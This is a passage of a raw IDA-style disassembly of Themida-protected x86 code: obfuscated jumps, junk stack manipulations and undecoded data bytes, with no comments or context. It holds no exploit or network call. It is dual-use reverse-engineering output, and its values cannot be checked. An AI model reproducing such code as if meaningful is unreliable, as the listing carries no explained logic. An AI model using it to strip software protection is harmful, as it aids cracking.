8CCh, 0D77F432Dh, 0E4C8E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500DC6: ; CODE XREF: Themida_:004F72F9j push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop ecx xchg eax, ecx push ebx mov ebx, esp push eax mov eax, 4 add ebx, eax pop eax sub ebx, 4 jmp loc_4FD752 ; --------------------------------------------------------------------------- loc_500DE4: ; CODE XREF: Themida_:004FF41Aj sub esi, 0C67EFABDh mov ebx, esi pop esi neg ebx push esi mov esi, 4F1F6419h jmp loc_4FF836 ; --------------------------------------------------------------------------- dw 0C629h dd 9CF68158h, 0E9D27B2Bh, 0FFFF8DE8h, 0E92434FFh, 0FFFF54DAh ; --------------------------------------------------------------------------- loc_500E10: ; CODE XREF: Themida_:004FC32Cj mov edx, esp jmp loc_4FB811 ; --------------------------------------------------------------------------- db 83h dd 0FF5304C4h, 5B042474h, 8B24048Fh, 29662424h, 0E99C2404h dd 0FFFF4EE2h, 1DE9815Eh, 294459D9h, 240C8BC8h, 55C5E957h dd 0D7F7FFFFh, 0C196FE87h, 0F02506E8h, 2D426A16h, 0DCE9A136h dd 0E958C521h, 0EE3h, 24048F5Ch, 0FF24248Bh, 48B2434h dd 0E1895124h, 4C181h, 0BF570000h, 4, 0E95FF901h, 0FFFFC771h ; --------------------------------------------------------------------------- loc_500E80: ; CODE XREF: Themida_:005015E8j sub ebp, esi pop esi push eax mov eax, 0F78521Ch jmp loc_4FAB4E ; --------------------------------------------------------------------------- dw 8957h dd 0B847E9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500E96: ; CODE XREF: Themida_:004F7921j push 1CCh mov [esp], ebx mov ebx, 77D51D6Eh shl ebx, 5 push eax push esi push 40A325CBh jmp loc_4FCACD ; --------------------------------------------------------------------------- dw 0F901h dd 5F25E981h, 1DE9792Eh db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_500EBF: ; CODE XREF: Themida_:004F6DE6j xor ebp, 3D9F7B56h jmp loc_4FE786 ; --------------------------------------------------------------------------- dw 8151h dd 4ECh, 0FC6E900h, 0D590000h, 49A076E8h, 0BF0DD8F7h, 556BC533h dd 0FF7E3BE9h db 0FFh byte_500EE9 db 56h, 0E9h, 49h ; DATA XREF: Themida_:004F85ACo db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500EEF: ; CODE XREF: Themida_:004F6838j push edx push esi push ebp jmp loc_4FD9C0 ; --------------------------------------------------------------------------- db 80h dd 0F73056EEh, 5066515Ah, 7AE980B4h, 87FFFFB0h, 0A5682404h dd 89000073h, 1C312404h, 241C3324h, 0FF5B04E9h, 59F681FFh dd 0E941FB25h, 0FFFF6BA7h, 6824048Bh, 5036h, 54242C89h dd 4C5815Dh, 68000000h, 1142h, 0BA241489h, 4, 0CB0ED81h dd 0D5017FF5h, 0FFDA49E9h, 243489FFh, 0FFCF57E9h, 74FF50FFh dd 8F580424h, 0FBE92404h, 0B4FFFFFDh, 0ADE95146h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500F73: ; CODE XREF: Themida_:004F8E07j add ebx, 4 xchg ebx, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_4FF6A8 ; --------------------------------------------------------------------------- db 1 dd 0EC8158C1h, 4, 0B8240489h, 99F71F9h, 504E0C1h, 0CDDDE3BBh dd 4701FE0Dh, 0E9E0D12Ah, 0FFFFED92h, 0FF2434FFh, 48B2434h dd 4C48324h, 0E9E78957h, 0FFFF93D4h, 0E906EBC1h, 0FFFF8B18h dd 348BF201h, 4C48124h, 0E9000000h, 109h, 152137BFh, 52E9475Dh db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500FE3: ; CODE XREF: Themida_:00501A36j pop edx push esi jmp loc_50061E ; --------------------------------------------------------------------------- dw 0C89h dd 0F90CE924h, 515FFFFFh, 42474FFh, 24048F59h, 6624248Bh dd 0E9240C8Bh, 0FFFFA7E9h ; --------------------------------------------------------------------------- loc_501008: ; CODE XREF: Themida_:0050164Fj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_4F6DEB ; --------------------------------------------------------------------------- dw 1C2Dh dd 29396C0Fh, 1CBD55D0h, 1396C0Fh, 0F4055DE8h, 8B084A35h dd 0F8682414h, 8900006Ch, 0E589242Ch, 4C581h, 0E9530000h dd 0FFFFD76Eh, 8FC0B60Fh, 0C3E98704h db 4Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50104F: ; CODE XREF: Themida_:004F7FCBj add esp, 4 add esp, 4 pop eax xor eax, 7A142AB1h mov esi, [esp] add esp, 4 push ebp jmp loc_5018CD ; --------------------------------------------------------------------------- dw 68ADh dd 50FAh, 0E9241C89h, 0FFFF4D36h, 644E51BFh, 5FF82964h dd 0D3676F2Dh, 1C2F056Fh, 12E94F5Bh, 1FFFF75h, 0F2895BDEh dd 0F281425Eh, 3494053Eh, 0FFB4F5E9h, 81C301FFh, 0AC396FC3h dd 8EE95842h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5010AF: ; CODE XREF: Themida_:004F719Dj pop ebx shl ebp, 6 jmp loc_501753 ; --------------------------------------------------------------------------- dd 0B252D028h, 4EAC038h, 0C280E2D0h, 0E9DAF6EFh, 0FFFFCAE9h dd 475DEF09h, 6351E781h, 0EF814925h, 82904Fh, 0FF9313E9h dd 5AD029FFh, 4EC81h db 0 byte_5010E9 db 0, 89h, 0Ch ; DATA XREF: Themida_:004FB164o dd 91C3E924h, 5F54FFFFh, 0FFC28DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5010F9: ; CODE XREF: Themida_:005025ADj pop ecx dec ebp add ebp, 5FE22A98h shr ebp, 2 dec ebp xchg ecx, ebp not ecx xchg ecx, ebp push ecx mov ecx, 5FFE7847h jmp loc_4F6F5B ; --------------------------------------------------------------------------- dw 4A4Ah dd 3067F281h, 0F2813430h, 14A81322h, 0FFDB50E9h, 240431FFh dd 4BE0E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_501132: ; CODE XREF: Themida_:004F6E87j pop ecx sub bl, 0DDh add bl, 64h movzx eax, al jmp loc_50238B ; --------------------------------------------------------------------------- db 51h, 9Ch, 0E9h dd 0FFFF9F21h, 4C481h, 0EB290000h, 5BD9015Dh, 0EABFE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50115A: ; CODE XREF: Themida_:004F9A62j add esp, 4 sub esp, 4 mov [esp], edx jmp loc_4FEDC8 ; --------------------------------------------------------------------------- dd 36B668h, 0FDE3E900h, 5D05FFFFh, 5145502h, 22AB417Fh dd 83241C8Bh, 0C38104C4h, 5B897DE7h, 60F9C381h, 0C3011879h dd 0E9E08950h, 0FFFFF6DDh, 83241C8Bh, 0C38104C4h, 4, 0CEEBE955h dd 5255FFFFh, 81242C8Bh, 4C4h, 5DEB8900h, 0E924148Bh, 0FFFF634Ah dd 0DA2DDD05h, 2DD8013Eh, 3EDA2DDDh, 30A768h, 242C8900h dd 36576857h, 6FE95D9Ah, 81FFFF94h, 2C4h, 0E9516600h, 0FFFF68AFh dd 0C058C588h, 0C58002EDh, 5142E9D1h, 0C481FFFFh, 4, 0C680CDB6h dd 6FC6807Fh, 2865C680h, 65EE80EEh, 806FEE80h, 4FE97FEEh dd 57FFFF55h, 0DC3364BFh, 0E9FE3118h, 0FFFF8D21h ; --------------------------------------------------------------------------- loc_501228: ; CODE XREF: Themida_:004F72AEj sub eax, 733F0A59h jmp loc_4FBE2B ; --------------------------------------------------------------------------- dw 0F681h dd 9E3ED2Bh, 7C71EF81h, 0F7294B49h, 7C71C781h, 348B4B49h dd 9742E924h, 0BF57FFFFh, 4, 835FF901h, 0C8704C1h, 0AC685C24h dd 8900001Ah, 0E2892414h, 4EC81h, 2C890000h, 159DBD24h dd 0ED815DA3h, 5DA31599h, 7435C281h, 0EA017471h, 0FF5075E9h dd 4C781FFh, 87000000h, 505C243Ch, 42474FFh, 0FFD604E9h dd 0E18951FFh, 4EC81h, 14890000h, 2D38BA24h, 0D2F7451Bh dd 0DAF7D2F7h, 2C4CF281h, 0E2812E6Bh, 37BC2CD5h, 0FFD60EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5012C5: ; CODE XREF: Themida_:004FBA34j xor ecx, edi jmp loc_4FE615 ; --------------------------------------------------------------------------- dd 582434FFh, 4C481h, 48E90000h, 0E900000Dh, 0FFFF4A32h dd 240C8B66h, 8904EC83h, 53682404h, 89000060h, 0BD552424h dd 4, 4246C01h, 5D2434FFh, 0FFF7EFE9h, 0E18951FFh, 4C181h dd 0C1830000h, 240C8704h, 0E23E95Ch, 0B2BE0000h, 0E93EBC7Fh dd 92Eh ; --------------------------------------------------------------------------- loc_501324: ; CODE XREF: Themida_:00502691j add edx, 4 jmp loc_4FDCA5 ; --------------------------------------------------------------------------- db 5Ch dd 83242489h, 58042404h, 405h, 40500h, 69680000h, 89000076h dd 74FF2404h, 34FF0424h, 5091E924h, 0E95CFFFFh, 0FFFF92AFh dd 0FF49B1E9h db 0FFh ; --------------------------------------------------------------------------- loc_501361: ; CODE XREF: Themida_:004F72BDj add dword ptr [esp], 2D694447h pop ecx push esi mov esi, 2D694447h jmp loc_4FA588 ; --------------------------------------------------------------------------- dd 515BD830h, 0FF5485E9h, 5FF929FFh, 34FFCB21h, 0E9555924h dd 0FFFFEFBEh, 148BF000h, 6F72E924h, 0E189FFFFh, 4C181h dd 0C1810000h, 4, 0E9240C87h, 0FFFFAFAAh, 2E86C381h, 0D32947CBh dd 2E86EB81h, 815A47CBh, 897DE7EBh, 8F665Bh, 0FFCE70E9h dd 243C8BFFh, 104C483h, 0E3C381C3h, 0E91F700Ch, 0FFFFC6CAh dd 0FFED815Eh, 81FFFFFFh, 497624E5h, 9ED814Fh, 3172025Ch dd 0F6E95DEAh, 8FFFFD5h, 45A66D0h, 61C180B6h, 0E980C128h dd 0C8205861h, 65CF6859h, 1C890000h, 4CFF6824h, 0C890000h dd 0A90EE924h, 0EC81FFFFh, 4, 0B2241489h, 5AD52058h, 0D5F6C5FEh dd 0FFC6B2E9h, 0E9FA87FFh, 0FFFF4B9Bh, 8124048Bh, 4C4h dd 0B8505100h, 3E6C1EB9h, 93E14BB9h, 58C101C1h, 5359C801h dd 0FF8126E9h db 0FFh ; --------------------------------------------------------------------------- loc_50145D: ; CODE XREF: Themida_:004FFCC3j add ebp, 4 jmp loc_50076D ; --------------------------------------------------------------------------- dd 94BB53ADh, 130D04Ah, 0D8015BD8h, 8904EC83h, 0EDBD242Ch dd 45035C63h, 7E5C145h, 0F581D5F7h, 69603697h, 0FF6B04E9h db 0FFh ; --------------------------------------------------------------------------- loc_501491: ; CODE XREF: Themida_:004FCC98j add al, 0A2h mov edx, [esp] push ebp jmp loc_4FB2BE ; --------------------------------------------------------------------------- loc_50149C: ; CODE XREF: Themida_:004F8E24j push eax jmp loc_500D17 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835E24h, 0BDBE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5014AE: ; CODE XREF: Themida_:004FF83Cj shr ecx, 6 jmp loc_4F9325 ; --------------------------------------------------------------------------- dw 0BD55h dd 192D0415h, 5AD7CD81h, 45457CB6h, 5EC4F581h, 0DDF77C0Dh dd 0FFA013E9h db 0FFh ; --------------------------------------------------------------------------- loc_5014D1: ; CODE XREF: Themida_:004F8718j add esi, edx pop edx add esi, 23D47837h mov edx, [esp] add esp, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], ebp mov ebp, 1 and eax, ebp pop ebp or edx, eax shl edx, 1 push 3FF5h mov [esp], ecx push edi push 64684069h mov edi, [esp] add esp, 4 xor edi, 70812B72h push ecx mov ecx, 3ABD6569h xor ecx, 2E540E73h sub edi, ecx mov ecx, [esp] add esp, 4 jmp loc_4FACE0 ; --------------------------------------------------------------------------- dw 0D829h dd 68241C8Bh, 5591h, 42EE9h, 8BFB0100h, 33E9243Ch, 8B000003h dd 0C481240Ch, 4, 10BAE9h, 4EE8100h, 87000000h, 6FE92434h dd 89FFFF6Fh, 4C681E6h, 81000000h, 4C6h, 24348700h, 7C3685Ch dd 0C890000h, 4EC8124h, 89000000h, 4812424h, 424h, 240C8B00h dd 0E9E38953h, 0FFFFAD16h, 54242C89h, 83242C8Bh, 685204C4h dd 2F893306h, 0B9F2815Ah, 8107E611h, 8E32F7E2h, 5EF2813Fh dd 0F74C5005h, 6CDEE9D2h, 34FFFFFFh, 0C4835B24h, 0FC33004h dd 34FFC0B6h, 9B3CE987h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5015D6: ; CODE XREF: Themida_:004FADDFj pop ebx jmp loc_4FE978 ; --------------------------------------------------------------------------- dd 0CAE9C221h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5015E3: ; CODE XREF: Themida_:004F862Dj mov esi, 0A103A8Eh jmp loc_500E80 ; --------------------------------------------------------------------------- db 0BDh, 2 dup(0FFh) dd 0EB01FFFFh, 70C3815Dh, 8107CA7Ch, 92AE4DF3h, 0BF575638h dd 0C0916F4h, 295FFE89h, 0EA815EF2h, 367B14F4h, 0C281DA01h dd 367B14F4h, 16F4C281h, 1C8B0C09h, 0C0FDE924h, 0E5C1FFFFh dd 0A6C58104h, 8121BB20h, 0B0FE94F5h, 5DE901D1h, 8B240C87h dd 24D22424h, 0C7E99C24h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50164B: ; CODE XREF: Themida_:004F7B19j xchg edi, [esp] pop esp jmp loc_501008 ; --------------------------------------------------------------------------- dd 57242489h, 1A1E9h db 0 ; --------------------------------------------------------------------------- loc_50165D: ; CODE XREF: Themida_:004FB9F3j add ebp, 4717685Eh add ebp, ecx sub ebp, 4717685Eh add ebp, 7F480E42h mov ecx, [esp] jmp loc_4F5FFC ; --------------------------------------------------------------------------- db 49h, 0C1h, 0E9h dd 0C8E98102h, 0E9C45D16h, 0FFFFD7CCh, 4EC81h, 34890000h dd 0EC79E924h, 0C889FFFFh, 0FFA874E9h, 9EC381FFh, 0E96C260Eh dd 0FFFFC74Ch, 42474FFh, 81242C8Bh, 4C4h, 24048F00h, 8924248Bh dd 8956242Ch, 0E9F589FEh, 0FFFFB5AAh, 0BA241489h, 54964FACh dd 0D606BE56h, 0EDE90F23h, 5CFFFFF8h, 7E6568h, 24148900h dd 0BB519CBAh, 0D2F74A77h, 1241E281h, 0E2C13A54h, 2C28105h dd 1F77FB8h, 7AC6E9D1h, 429FFFFh, 0E0C15824h, 0B4282D08h dd 0C731FACDh, 6858h, 10E90000h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50171B: ; CODE XREF: Themida_:004FA269j sub ebx, 392850C9h pop eax add ebx, 4 xchg ebx, [esp] pop esp push ecx push esp pop ecx jmp loc_4F6D56 ; --------------------------------------------------------------------------- dd 5024148Bh, 0E904EC83h, 0FFFF6BC0h ; --------------------------------------------------------------------------- loc_501740: ; CODE XREF: Themida_:004FC405j push ecx pop edi pop ecx jmp loc_4F973B ; --------------------------------------------------------------------------- dd 8B2434FFh, 73E92404h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_501753: ; CODE XREF: Themida_:005010B3j add ebp, 32435FA7h sub ebp, 3CD2BD6Dh jmp loc_4FC78B ; --------------------------------------------------------------------------- dd 76B6BA52h, 0E2C1699Ch, 2EEA8106h, 815B3051h, 0B6991C3h dd 68D2E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50177E: ; CODE XREF: Themida_:004FD851j push 7F23h mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] pop dword ptr [esp] jmp loc_4FB44E ; --------------------------------------------------------------------------- db 57h dd 7E4EE954h, 77FFFFFFh, 2434FF3Ch, 0C8E95258h, 53FFFFCEh dd 0FF7BDAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5017C5: ; CODE XREF: Themida_:004FEAECj add esi, 0EF7BA8B1h jmp loc_4F7AC8 ; --------------------------------------------------------------------------- dd 4DA0CF81h, 0C7812084h, 1519062h, 4A34052Dh, 5BE2D49h dd 0F8015DB8h, 0B805BE05h, 56BA525Dh, 8165052Bh, 5B3BE3EAh dd 0BA7FE938h, 0BA52FFFFh, 5DE755B5h, 6110F281h, 41E964C6h dd 0F6FFFFEAh, 3CE980D1h, 5250C180h, 0E2C0BFB2h, 80DAF604h dd 0E1E9C8C2h, 80FFFF8Bh, 0C32844EBh, 44B55166h, 6EE9EB00h dd 68FFFF88h, 6D396146h, 8BCE8959h, 0EC83240Ch, 24048904h dd 0FFDC9BE9h db 0FFh ; --------------------------------------------------------------------------- loc_50184D: ; CODE XREF: Themida_:004FDCD3j push esp pop eax add eax, 4 push edx jmp loc_4F99A7 ; --------------------------------------------------------------------------- dw 77FFh dd 59669D1Ch, 241CD366h, 4C2BE99Ch, 0ABBBFFFFh, 81351B00h dd 825DD2EBh, 9587E956h, 0C483FFFFh, 2BEA8104h, 0E9627576h dd 0FFFF8C4Eh ; --------------------------------------------------------------------------- loc_501888: ; CODE XREF: Themida_:004FF337j xchg edx, ecx push dword ptr [esp] pop edx add esp, 4 shl ecx, 4 neg ecx dec ecx add ecx, 740C6DE2h xor ecx, 5160536Ah mov esi, ecx pop ecx inc esi add esi, 236B3BBCh sub esi, 0C6177B9h xor esi, 7DAD02ABh jmp loc_4FEA03 ; --------------------------------------------------------------------------- aY7mO db '%',27h,'Y7m%%O ',0 dd 0FF4DDDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5018CD: ; CODE XREF: Themida_:00501065j mov ebp, 2000h jmp loc_4FE575 ; --------------------------------------------------------------------------- db 81h dd 9D9B3AF1h, 0E9CB019Fh, 0FFFFD6AFh ; --------------------------------------------------------------------------- loc_5018E4: ; CODE XREF: Themida_:004FA876j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] test cx, ax pushf jmp loc_4F5D12 ; --------------------------------------------------------------------------- db 2Dh, 5Dh, 2 dd 0D8011455h, 0FFF86DE9h, 4C483FFh, 161DBA52h, 0EAC13900h dd 0C8EA8102h, 4AA40E04h, 0DAF7D2F7h, 0FFCEB2E9h, 2414F6FFh dd 0E0C05866h, 0B5516604h, 0E9E820F5h, 0FFFF8157h, 74FF505Bh dd 0CBE90424h, 89FFFFD6h, 0A3682434h, 0E9000065h, 0FFFF7BDAh dd 0FF43C1E9h, 81E689FFh, 4C6h, 4C68300h, 2474FF56h, 48F5E04h dd 12E95C24h, 89FFFF92h, 0E0E9241Ch db 4Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_501973: ; CODE XREF: Themida_:004F7F90j mov ah, 83h mov cl, ah pop eax mov dl, cl pop ecx jmp loc_4FD1A0 ; --------------------------------------------------------------------------- dd 5C243C87h, 99E95052h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50198B: ; CODE XREF: Themida_:004FDA86j mov [esp], ebp pop ecx mov ebx, ecx pop ecx pop ebp jmp loc_500B27 ; --------------------------------------------------------------------------- dd 4EC8150h, 89000000h, 4AE92424h, 81FFFFD1h, 4C1h, 4E98100h dd 87000000h, 895C240Ch, 5AB22414h, 8007EAC0h, 0CAFE3AF2h dd 0B551C2FEh, 59EA209Dh, 0EA80E2D0h, 547F6853h, 4890000h dd 65D1E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5019DE: ; CODE XREF: Themida_:00500619j mov eax, 3640264Bh add eax, 8464838Ch sub edi, eax pop eax add ebp, edi pop edi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx push eax mov eax, 4 mov ecx, eax pop eax add ebp, ecx pop ecx xchg ebp, [esp] pop esp push edx push 3BE6h mov [esp], eax jmp loc_4F6BC4 ; --------------------------------------------------------------------------- loc_501A1F: ; CODE XREF: Themida_:004F9574j xchg ecx, [esp] pop esp mov [esp], edx mov edx, 552F6306h xor eax, edx mov edx, [esp] add esp, 4 jmp loc_500FE3 ; --------------------------------------------------------------------------- loc_501A3B: ; CODE XREF: Themida_:004FBEF0j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add edi, 141F55B9h push 0 sub [esp], edi pop edi shr edi, 7 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi mov esi, 194E948h xor edi, esi push dword ptr [esp] jmp loc_4FCF90 ; --------------------------------------------------------------------------- dd 507CBA52h, 5AE925C4h, 81FFFFF4h, 0EA12A8C2h, 78EA8144h dd 15EB215h, 78C281C2h, 0E95EB215h, 0FFFFE68Ch, 81242C8Bh dd 4C4h, 241C8B00h, 0FFB907E9h, 73C381FFh, 813C322Ch, 7954B7CBh dd 0E3814B2Ch, 131022EEh, 22EAF381h, 0D8011010h, 4E8835Bh dd 0FF58EDE9h, 24248BFFh, 89243C89h, 145668E7h, 4890000h dd 4B824h, 0C7010000h, 0E7CCE958h, 0B850FFFFh, 4F4A3129h dd 0FFFDB9E9h, 80C328FFh, 0B60F96EBh, 8734FFC0h, 0FF8D9AE9h dd 305A66FFh, 241C8BDAh, 81E68956h, 4C6h, 4C68300h, 5C243487h dd 0CBE9D028h, 53FFFFB8h, 0FFA212E9h db 0FFh ; --------------------------------------------------------------------------- loc_501B39: ; CODE XREF: Themida_:004F5D54j and edi, 784B6B32h not edi push eax push ecx mov ecx, 36937007h jmp loc_4FEA7B ; --------------------------------------------------------------------------- loc_501B4D: ; CODE XREF: Themida_:004FEEDAj pop ecx add edi, 4 jmp loc_4FE88D ; --------------------------------------------------------------------------- dw 0E9ADh dd 0FFFF45F3h ; --------------------------------------------------------------------------- loc_501B5C: ; CODE XREF: Themida_:0050074Bj xor eax, [esp] pop esp mov [esp], ecx jmp loc_50276A ; --------------------------------------------------------------------------- dd 0A3E99C50h, 1FFFF41h, 57E2E9E8h, 0E831FFFFh, 0FFC296E9h dd 0DFB652FFh, 4B7E9h db 0 ; --------------------------------------------------------------------------- loc_501B85: ; CODE XREF: Themida_:004FE4BCj neg edx push ecx mov ecx, 9CBAB84Eh jmp loc_500157 ; --------------------------------------------------------------------------- dw 555Eh dd 5629BB53h, 0EB8314EBh, 0F7EBD101h, 798EE9D3h, 0F581FFFFh dd 0EBB3D5h, 535DEB01h, 42474FFh, 0E9241C8Bh, 0FFFF69F5h dd 57546857h, 4F5F0980h, 0E904EC83h, 0FFFF9037h ; --------------------------------------------------------------------------- loc_501BCC: ; CODE XREF: Themida_:004F7793j add ecx, esi pop esi and edi, ecx jmp loc_4F7B40 ; --------------------------------------------------------------------------- dw 0C89h dd 5244B124h, 0F1001EB6h, 0FFEE1EE9h, 0BF575EFFh, 75577D15h dd 9E9FD01h, 0BDFFFF8Ch, 17EA586Ah, 465DEE21h, 5825F681h dd 0F7011520h, 0FFEEB2E9h db 0FFh ; --------------------------------------------------------------------------- loc_501C09: ; CODE XREF: Themida_:004FC1D1j mov edx, [esp] add esp, 4 push esi mov esi, 4 add ecx, esi pop esi xchg ecx, [esp] jmp loc_4F7B5D ; --------------------------------------------------------------------------- db 59h dd 323BB53h, 0C14B4B8Bh, 0E38102E3h, 74EA62B0h, 8108E3C1h dd 3B6D04CBh, 0A8EB8114h, 0E9BE53FEh, 0FFFFC7E9h, 0F088FE88h dd 0A250E95Ah, 0F521FFFFh, 0FFF783E9h, 55854FFh, 4, 576B68h dd 612FE900h, 875BFFFFh, 835C2414h, 48904ECh, 0BDD5E924h dd 0EC83FFFFh, 24048904h, 0FFE6A9E9h, 24248BFFh, 0E9028864h dd 0FFFF4082h, 242C895Ch, 16242C81h, 5A55C661h, 6116C281h dd 95D55C6h, 693DE9C9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_501CAA: ; CODE XREF: Themida_:004FFB45j pop dword ptr [esp] pop esp push dword ptr [esp] jmp loc_502431 ; --------------------------------------------------------------------------- dw 34FFh dd 0E9515B24h, 0FFFFD0BAh ; --------------------------------------------------------------------------- loc_501CC0: ; CODE XREF: Themida_:004FA245j mov edx, 0AC00F4h mov edi, 0FF547F0Ch add edi, 1ABF0189h add edi, edx sub esp, 4 mov [esp], ebx jmp loc_4FB4A0 ; --------------------------------------------------------------------------- dd 402CE95Ch, 68ACFFFFh, 3C1Fh, 52240C89h, 0C1B5FAB6h dd 148BF528h, 4C48124h, 0E9000000h, 0FFFF801Dh, 0D1F6F988h dd 5966CF88h, 0FF9458E9h, 0D8EE81FFh, 8159DE0Ch, 790467C6h dd 24148B50h, 4C481h, 6C680000h, 8900004Bh, 0E9562414h dd 0FFFFA8F6h, 4560EB81h, 90E92A01h, 51FFFFD7h, 0FFFFFFB9h dd 59CD29FFh, 0FFFFC581h, 0F581FFFFh, 76E65C7Dh, 295DEB89h dd 5522E9D8h, 0D5F6FFFFh, 0FF62E5E9h, 0EF8159FFh, 336D138Fh dd 0DEE9F829h, 87FFFF80h, 665C2414h, 281DB050h, 805866C3h dd 51E910EBh, 5CFFFF61h, 0FFBADFE9h, 8BF901FFh, 0C481243Ch dd 4, 2D59CA29h, 7AE1762Ah, 0B951D001h, 5DFF13ECh, 623EC181h dd 0C8011CE2h, 8514E959h, 2C81FFFFh, 0F6474124h, 0C7815F0Dh dd 0DF64741h, 8BF8295Bh, 0C481243Ch, 4, 797BBE56h, 0E6C125C8h dd 6FE68104h, 81183F75h, 436133C6h, 9AEB81EBh, 294DE61Fh dd 9AC381F3h, 5E4DE61Fh, 0FF637FE9h, 79DA68FFh, 4890000h dd 3FC7E924h, 0C180FFFFh, 80D90058h, 0C05B58E9h, 0EC8302E1h dd 14896602h, 8097B624h, 0F100E4E9h, 64668h, 24048900h dd 0E100E4B4h, 148B6658h, 2C48324h, 304CE980h, 240C8BC8h dd 4C481h, 0C3800000h, 0A6B05064h, 0E1E9C300h db 73h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_501E4F: ; CODE XREF: Themida_:004F5F60j xor eax, ecx push 48B9h mov [esp], eax xor [esp], edx xor edx, [esp] xor [esp], edx jmp loc_4FF6EB ; --------------------------------------------------------------------------- db 66h dd 9A2BE950h, 0B951FFFFh, 1D375D6Eh, 4D0C181h, 0CE01068Fh dd 0E9F00159h, 0FFFFE9DDh ; --------------------------------------------------------------------------- loc_501E84: ; CODE XREF: Themida_:004F9016j push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], ebp push esi push ebp mov ebp, 644C6EEBh jmp loc_4FB503 ; --------------------------------------------------------------------------- dd 83242489h, 8B042404h, 0C481240Ch, 4, 4C181h, 0C1810000h dd 4, 0FFAEC9E9h, 2D5D5FFFh, 3E3158BBh, 0FFAFD2E9h, 0E68956FFh dd 4C681h, 0C6830000h, 24348704h, 5A7D255Ch, 302D0FBEh dd 8103260Ah, 0AC396FEBh, 0F1B3E942h, 7E68FFFFh, 8900004Eh dd 0A0E92404h, 0FFFFFFC8h, 81592434h, 4C4h, 0C0DFF600h dd 0CF8008E7h, 0E9CFFE70h, 0FFFFAEE8h, 81DEF75Fh, 0E10D9EF6h dd 4EC8379h, 0E9240C89h, 0FFFF42F4h ; --------------------------------------------------------------------------- loc_501F28: ; CODE XREF: Themida_:004FF09Bj mov [esp], ecx mov ecx, esp push edx jmp loc_4FC1CA ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 61BBh, 54242C89h, 4C5815Dh, 53000000h, 544068h dd 241C8900h, 0CDE9E389h db 43h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_501F57: ; CODE XREF: Themida_:004F70AFj mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_4FE9C5 ; --------------------------------------------------------------------------- db 89h dd 0BE5659CFh, 135A17DBh, 0CC5E681h, 0EC81425Dh, 4, 0E9241489h dd 0FFFF7ADFh ; --------------------------------------------------------------------------- loc_501F88: ; CODE XREF: Themida_:004F9E82j push 1F5Fh mov [esp], edx push esi push 538E2D59h jmp loc_4F8ACE ; --------------------------------------------------------------------------- loc_501F9B: ; CODE XREF: Themida_:004F6FEBj sub eax, 0E6D8479Fh add ebp, eax pop eax add ebp, 2 xchg ebp, [esp] mov esp, [esp] dec byte ptr [esp] pushf jmp loc_4F5D12 ; --------------------------------------------------------------------------- db 0BDh, 67h, 32h dd 814D2642h, 2D5D76F5h, 5DE9093Fh, 7FFAF181h, 0CB017F7Fh dd 5F6F6859h, 2C890000h, 0A6685024h, 585F9D20h, 0FF5EC7E9h dd 4EC83FFh, 0FF5380E9h, 140005FFh, 0E5E934B2h, 66FFFF64h dd 0E924048Bh, 0FFFF5A4Bh, 5CE3F381h, 0BF570B9Fh, 57392B88h dd 277EC781h, 0FB090F0Fh, 6EBC15Fh, 14C38143h, 1FE64DAh dd 60E95BDEh, 68FFFFD6h, 5795h, 0E9241C89h, 0FFFF9622h dd 54240489h, 0E92434FFh, 0FFFFB898h, 8106EEC0h, 4ECh dd 567AE900h, 5756FFFFh, 0A55F6768h, 0C7815F41h, 662F7361h dd 0A13DF781h, 0FE89D896h, 6DF7E95Fh, 48FFFFFh, 24248B24h dd 0FF72A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_502071: ; CODE XREF: Themida_:004FE417j add esp, 4 mov eax, edi jmp loc_4FE488 ; --------------------------------------------------------------------------- db 81h dd 5F3E1F7h, 5FF929A8h, 0FFF419E9h, 1C4F21FFh, 81240C8Bh dd 4C4h, 3C78E900h, 805AFFFFh, 0C38078CBh, 20C1683Ch, 14890000h dd 0C5B75324h, 0EF80CFFEh, 6F2668EFh, 0BAE90000h, 59FFFFBCh dd 3302C283h, 